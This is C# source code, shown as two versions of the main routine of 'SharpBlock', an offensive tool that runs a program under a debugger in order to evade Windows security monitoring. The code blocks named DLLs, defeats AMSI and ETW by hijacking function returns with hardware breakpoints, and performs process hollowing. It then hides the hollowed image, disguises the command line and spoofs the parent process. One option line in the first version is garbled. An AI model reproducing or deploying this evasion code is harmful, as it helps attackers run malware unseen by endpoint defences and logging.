static void Main(string[] args)
{
string program = "c:\\windows\\system32\\cmd.exe";
string hostProcess = null;
string programArgs = "";
bool showHelp = false;
bool bypass = false;
HostProcessInfo hpi = new HostProcessInfo();
Console.WriteLine(
"SharpBlock by @_EthicalChaos_\n" +
$" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
);
OptionSet option_set = new OptionSet()
.Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v)
.Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
.Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
.Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
.Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
.Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
.Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass = v != null)
.Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v)
.Add("h|help", "Display this help", v => showHelp = v != null);
try {
option_set.Parse(args);
if (showHelp)
{
option_set.WriteOptionDescriptions(Console.Out);
return;
}
} catch (Exception e) {
Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
option_set.WriteOptionDescriptions(Console.Out);
return;
}
try {
IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");
Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase.ToInt64():x16}");
IntPtr stdOut;
IntPtr stdErr;
IntPtr stdIn;
IntPtr currentProcess = new IntPtr(-1);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
startupInfo.dwFlags = 0x00000101;
startupInfo.hStdOutput = stdOut;
startupInfo.hStdError = stdErr;
startupInfo.hStdInput = stdIn;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(hostProcess != null ? hostProcess : program, $"\"{hostProcess}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null,
ref startupInfo, out pi))
{
Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");
bool bContinueDebugging = true;
Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>();
while (bContinueDebugging)
{
IntPtr debugEventPtr = Marshal.AllocHGlobal(1024);
bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
if (bb)
{
WinAPI.DEBUG_EVENT DebugEvent = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT));
IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
switch (DebugEvent.dwDebugEventCode)
{
/* Uncomment if you want to set OutputDebugString output
* case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
* WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
* IntPtr bytesRead;
* byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
* WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
* Console.WriteLine(Encoding.ASCII.GetString(strData));
* break;
*/
case WinAPI.CREATE_PROCESS_DEBUG_EVENT:
WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread;
if (bypass)
{
SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr);
}
break;
case WinAPI.CREATE_THREAD_DEBUG_EVENT:
WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;
if (bypass)
{
SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr);
}
break;
case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
if (pi.dwProcessId == DebugEvent.dwProcessId)
{
bContinueDebugging = false;
}
break;
case WinAPI.LOAD_DLL_DEBUG_EVENT:
WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);
if (DebugEvent.dwProcessId == pi.dwProcessId && hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
Console.WriteLine($"[+] Replacing host process with {program}");
hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);
//Once we have hollowed out our process we put a breakpoint on
//our in-memory PE entry point.
//Once the entry point is hit it means that we can then attempt to
//hide our PE from prying eyes.
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint);
}
break;
case WinAPI.EXCEPTION_DEBUG_EVENT:
WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));
if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
{
//Check to see if the single step breakpoint is at AmsiInitalize
if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
{
//It is, to update the thread context to return to caller with
//an invalid result
DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
//Opsec purposes, lets now clear all threads of hardware breakpoints
ClearHardwareBreakpoints(threadHandles.Values.ToArray());
//check to see if we have hit our in-memory PE entry-point
}
else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
{
HideHollowedProcess(pi.hProcess, hpi);
Context64 ctx = new Context64(ContextFlags.Debug);
ctx.ClearBreakpoint();
ctx.SetContext(threadHandles[DebugEvent.dwThreadId]);
}
}
else
{
dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
}
break;
}
WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
(uint)DebugEvent.dwThreadId,
dwContinueDebugEvent);
}
if (debugEventPtr != null)
{
Marshal.FreeHGlobal(debugEventPtr);
}
}
int exitCode;
WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
}catch (Exception e) {
Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
}
}
static void Main(string[] args)
{
string program = "c:\\windows\\system32\\cmd.exe";
string hostProcess = null;
string programArgs = "";
bool showHelp = false;
bool bypassAmsi = true;
bool bypassCommandLine = true;
bool bypassETW = true;
bool bypassHollowDetect = true;
bool patchedArgs = false;
bool kernelBaseLoaded = false;
bool showWindow = false;
int ppid = -1;
HostProcessInfo hpi = new HostProcessInfo();
Console.WriteLine(
"SharpBlock by @_EthicalChaos_\n" +
$" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
);
OptionSet option_set = new OptionSet()
.Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v)
.Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
.Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
.Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
.Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
.Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
.Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v)
.Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid = int.Parse(v))
.Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true)
.Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false)
.Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false)
.Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false)
.Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false)
.Add("h|help", "Display this help", v => showHelp = v != null);
try {
option_set.Parse(args);
if (showHelp)
{
option_set.WriteOptionDescriptions(Console.Out);
return;
}
} catch (Exception e) {
Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
option_set.WriteOptionDescriptions(Console.Out);
return;
}
try {
IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");
IntPtr ntdllBase = WinAPI.LoadLibrary("ntdll.dll");
IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite");
Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}");
Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}");
IntPtr stdOut;
IntPtr stdErr;
IntPtr stdIn;
IntPtr currentProcess = new IntPtr(-1);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);
STARTUPINFOEX startupInfo = new STARTUPINFOEX();
startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
uint launchFlags = WinAPI.DEBUG_PROCESS;
if (!showWindow)
{
startupInfo.StartupInfo.dwFlags = 0x00000101;
startupInfo.StartupInfo.hStdOutput = stdOut;
startupInfo.StartupInfo.hStdError = stdErr;
startupInfo.StartupInfo.hStdInput = stdIn;
launchFlags |= 0x08000000;
}
if (ppid > 0)
{
launchFlags |= 0x80000;
startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1);
SetNewProcessParent(ref startupInfo, ppid);
}
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
string realProgramArgs = $"\"{hostProcess}\" {programArgs}";
string launchedArgs = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs;
if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null,
ref startupInfo, out pi))
{
Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");
bool bContinueDebugging = true;
Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>();
while (bContinueDebugging)
{
IntPtr debugEventPtr = Marshal.AllocHGlobal(1024);
bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
if (bb)
{
WinAPI.DEBUG_EVENT DebugEvent = GetDebugEvent(debugEventPtr);
IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
switch (DebugEvent.dwDebugEventCode)
{
/* Uncomment if you want to see OutputDebugString output
* case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
* WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
* IntPtr bytesRead;
* byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
* WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
* Console.WriteLine(Encoding.ASCII.GetString(strData));
* break;
*/
case WinAPI.CREATE_PROCESS_DEBUG_EVENT:
WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread;
if (bypassAmsi)
{
SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0);
}
break;
case WinAPI.CREATE_THREAD_DEBUG_EVENT:
WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;
if (pi.dwProcessId == DebugEvent.dwProcessId)
{
if (bypassAmsi)
{
SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0);
}
if (bypassETW)
{
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
}
}
break;
case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
if (pi.dwProcessId == DebugEvent.dwProcessId)
{
bContinueDebugging = false;
}
break;
case WinAPI.LOAD_DLL_DEBUG_EVENT:
WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);
//Console.WriteLine($"[=] DLL Load: {dllPath}");
if (DebugEvent.dwProcessId == pi.dwProcessId)
{
// Once kernelbase.dll has loaded then update GetCommandLineW/A args
if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
{
UpdateCommandLine(pi.hProcess, realProgramArgs);
patchedArgs = true;
}
if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
Console.WriteLine($"[+] Replacing host process with {program}");
hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);
//Set a breakpoint on EtwEventWrite ready for us to bypass
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
//Once we have hollowed out our process we put a breakpoint on
//our in-memory PE entry point.
//Once the entry point is hit it means that we can then attempt to
//hide our PE from prying eyes.
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1);
}
else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase))
{
kernelBaseLoaded = true;
}
}
break;
case WinAPI.EXCEPTION_DEBUG_EVENT:
WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));
if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
{
//Check to see if the single step breakpoint is at AmsiInitalize
if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
{
//It is, to update the thread context to return to caller with
//an invalid result
DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
//Set the hardware breakpoint again for AmsiInitalize
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0);
//check to see if we have hit our in-memory PE entry-point
}
else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
{
//Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable
if (bypassHollowDetect)
{
HideHollowedProcess(pi.hProcess, hpi);
}
//Catch case just in case kernelbase was the last DLL loaded
if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
{
UpdateCommandLine(pi.hProcess, realProgramArgs);
patchedArgs = true;
}
//No longer need the entrypoint breakpoint
ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1);
}
else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr)
{
//We have hit EtwEventWrite so lets just return with a fake success result
OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5);
}
}
else
{
dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
}
//Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}");
break;
}
WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
(uint)DebugEvent.dwThreadId,
dwContinueDebugEvent);
}
if (debugEventPtr != null)
{
Marshal.FreeHGlobal(debugEventPtr);
}
}
int exitCode;
WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
}catch (Exception e) {
Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
Console.WriteLine(e.StackTrace);
}
}